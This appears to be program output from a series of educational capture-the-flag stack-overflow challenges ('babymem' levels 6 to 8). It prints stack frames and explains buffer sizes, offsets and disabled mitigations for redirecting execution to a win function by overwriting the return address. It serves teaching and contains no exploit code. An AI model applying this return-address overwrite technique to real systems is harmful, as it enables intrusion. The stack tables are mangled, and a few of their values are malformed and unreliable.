+-----+ +-----+ +-----+

Our stack pointer points to 0x7fff5dfc77c0, and our base pointer points to 0x7fff5dfc7870. This means that we have (decimal) 24 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 192 bytes. The input buffer begins at 0x7fff5dfc77f0, partway through the stack frame, (“above” it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 107 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the

buffer.

In this level, there is no “win” variable. You will need to force the program to execute the `win_authed()` function by directly overflowing into the stored return address back to `main`, which is stored at `0x7fff5dfc7878`, 136 bytes after the start of your input buffer. That means that you will need to input at least 144 bytes (107 to fill the buffer, 29 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge: - the canary is disabled, otherwise you would corrupt it before overwriting the return address, and the program would abort. - the binary is *not* position independent. This means that it will be located at the same spot every time it is run, which means that by analyzing the binary (using `objdump` or reading this output), you can know the exact value that you need to overwrite the return address with.

Payload size:

6.1

Welcome to /challenge/babymem_level6.1!

Payload size:

7.0

Welcome to /challenge/babymem_level7.0!

The `challenge()` function has just been launched! Before we do anything, let’s take a look at `challenge()`’s stack frame: +-----+

+-----+	Stack location	Data (bytes)	Data (LE int)
+-----+			
0x00007ffde49bc200 (rsp+0x0000)	ff ff ff 00 00 00 00	0x00000000ffffff	
0x00007ffde49bc208 (rsp+0x0008)	e8 d3 9b e4 fd 7f 00 00	0x00007ffde49bd3e8	
0x00007ffde49bc210 (rsp+0x0010)	d8 d3 9b e4 fd 7f 00 00	0x00007ffde49bd3d8	
0x00007ffde49bc218 (rsp+0x0018)	a0 86 7d f6 01 00 00 00		
0x00000001f67d86a0	0x00007ffde49bc220 (rsp+0x0020)	24 87 7d f6 fc 7e 00 00	
0x00007efcf67d8724	0x00007ffde49bc228 (rsp+0x0028)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc230 (rsp+0x0030)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc238 (rsp+0x0038)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc240 (rsp+0x0040)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc248 (rsp+0x0048)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc250 (rsp+0x0050)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc258 (rsp+0x0058)	00 00 00 00 00 00 00 00	
0x0000000000000000	0x00007ffde49bc260 (rsp+0x0060)	00 00 00 00 00 00 00 00	
0x00007ffde49bc268 (rsp+0x0068)	00 00 00 00 00 00 00 00	0x0000000000000000	

```

| | 0x00007ffde49bc270 (rsp+0x0070) | 00 00 00 00 00 00 00 00 |
0x0000000000000000 | | 0x00007ffde49bc278 (rsp+0x0078) | 00 00 00 00 00 00 00 00 |
00 | 0x0000000000000000 | | 0x00007ffde49bc280 (rsp+0x0080) | 00 00 00 00 00 00 00 00 |
00 00 | 0x0000000000000000 | | 0x00007ffde49bc288 (rsp+0x0088) | 00 00 00 00 00 00 00 00 |
00 00 00 | 0x0000000000000000 | | 0x00007ffde49bc290 (rsp+0x0090) | 00 00 00 00 00 00 00 00 |
00 00 00 00 | 0x0000000000000000 | | 0x00007ffde49bc298 (rsp+0x0098) | 00 00 00 00 00 00 00 00 |
00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffde49bc2a0 (rsp+0x00a0) | e0 f1
96 9b b2 55 00 00 | 0x000055b29b96f1e0 | | 0x00007ffde49bc2a8 (rsp+0x00a8) | 30
c2 9b e4 fd 7f 00 00 | 0x00007ffde49bc230 | | 0x00007ffde49bc2b0 (rsp+0x00b0) |
| e0 d2 9b e4 fd 7f 00 00 | 0x00007ffde49bd2e0 | | 0x00007ffde49bc2b8
(rsp+0x00b8) | 48 0b 97 9b b2 55 00 00 | 0x000055b29b970b48 |
+-----+-----+-----+
pointer points to 0x7ffde49bc200, and our base pointer points to 0x7ffde49bc2b0.
This means that we have (decimal) 24 8-byte words in our stack frame, including
the saved base pointer and the saved return address, for a total of 192 bytes.
The input buffer begins at 0x7ffde49bc230, partway through the stack frame,
("above" it in the stack are other local variables used by the function). Your
input will be read into this buffer. The buffer is 112 bytes long, but the program
will let you provide an arbitrarily large input length, and thus overflow the
buffer.

```

In this level, there is no “win” variable. You will need to force the program to execute the `win_authed()` function by directly overflowing into the stored return address back to main, which is stored at `0x7ffde49bc2b8`, 136 bytes after the start of your input buffer. That means that you will need to input at least 144 bytes (112 to fill the buffer, 24 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge: - the canary is disabled, otherwise you would corrupt it before overwriting the return address, and the program would abort. Because the binary is position independent, you cannot know exactly where the `win_authed()` function is located. This means that it is not clear what should be written into the return address.

Payload size:

7.1

Welcome to /challenge/babymem_level7.1!

Payload size:

8.0

Welcome to /challenge/babymem_level8.0!

The `challenge()` function has just been launched! Before we do anything, let’s take

```

a look at challenge()'s stack frame: +-----+
+-----+ | Stack location | Data (bytes) | Data (LE int)
| +-----+ | +-----+ | +-----+ | |
| 0x00007ffcf18d3800 (rsp+0x0000) | 10 38 8d f1 fc 7f 00 00 | 0x00007ffcf18d3810 | |
| 0x00007ffcf18d3808 (rsp+0x0008) | f8 49 8d f1 fc 7f 00 00 | 0x00007ffcf18d49f8 | |
| 0x00007ffcf18d3810 (rsp+0x0010) | e8 49 8d f1 fc 7f 00 00 | 0x00007ffcf18d49e8 | |
| 0x00007ffcf18d3818 (rsp+0x0018) | 00 1c 2c 1c 01 00 00 00 | 0x0000000011c2c1c00 |
| | 0x00007ffcf18d3820 (rsp+0x0020) | 01 00 00 00 00 00 00 00 |
| 0x0000000000000001 | | 0x00007ffcf18d3828 (rsp+0x0028) | 00 00 00 00
| 00 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3830 (rsp+0x0030) | 00 00 00
| 00 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3838 (rsp+0x0038) | 00 00
| 00 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3840 (rsp+0x0040) | 00
| 00 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3848 (rsp+0x0048)
| 00 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3850
(rsp+0x0050) | 00 00 00 00 | 0x0000000000000000 | |
| 0x00007ffcf18d3858 (rsp+0x0058) | 00 00 00 00 | 0x0000000000000000 |
| | 0x00007ffcf18d3860 (rsp+0x0060) | 00 00 00 00 | 0x0000000000000000 |
| 0x0000000000000000 | | 0x00007ffcf18d3868 (rsp+0x0068) | 00 00 00 00
| 00 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3870 (rsp+0x0070) | 00 00 00 00
| 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3878 (rsp+0x0078) | 00 00 00 00
| 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3880 (rsp+0x0080) | 00 00 00 00
| 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3888 (rsp+0x0088) | 00 00 00 00
| 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3890 (rsp+0x0090) | 00
| 00 00 00 | 0x0000000000000000 | | 0x00007ffcf18d3898 (rsp+0x0098)
| e5 ed 18 79 37 7f 00 00 | 0x00007f377918ede5 | | 0x00007ffcf18d38a0
(rsp+0x00a0) | 00 a6 ba e1 60 55 00 00 | 0x00005560e1baa600 | |
| 0x00007ffcf18d38a8 (rsp+0x00a8) | f0 48 8d f1 fc 7f 00 00 | 0x00007ffcf18d48f0 | |
| 0x00007ffcf18d38b0 (rsp+0x00b0) | 40 92 ba e1 60 55 00 00 | 0x00005560e1ba9240
| | 0x00007ffcf18d38b8 (rsp+0x00b8) | 30 38 8d f1 fc 7f 00 00 | 0x00007ffcf18d3830
| | 0x00007ffcf18d38c0 (rsp+0x00c0) | f0 48 8d f1 fc 7f 00 00 | 0x00007ffcf18d48f0 |
| 0x00007ffcf18d38c8 (rsp+0x00c8) | f4 a5 ba e1 60 55 00 00 | 0x00005560e1baa5f4
| +-----+ | +-----+ | +-----+

```

Our stack pointer points to 0x7ffcf18d3800, and our base pointer points to 0x7ffcf18d38c0. This means that we have (decimal) 26 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 208 bytes. The input buffer begins at 0x7ffcf18d3830, partway through the stack frame, (“above” it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 103 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the buffer.

In this level, there is no “win” variable. You will need to force the program to execute the win_authed() function by directly overflowing into the stored return address back to main, which is stored at 0x7ffcf18d38c8, 152 bytes after the start of your input buffer. That means that you will need to input at least 160 bytes (103 to fill the buffer, 49 to fill other stuff stored between the buffer and

the return address, and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge: - the canary is disabled, otherwise you would corrupt it before overwriting the return address, and the program would abort. Because the binary is position independent, you cannot know exactly where the `win_authed()` function is located. This means that it is not clear what should be written into the return address.

Payload size:

8.1

Welcome to /challenge/babymem_level8.1!

Payload size: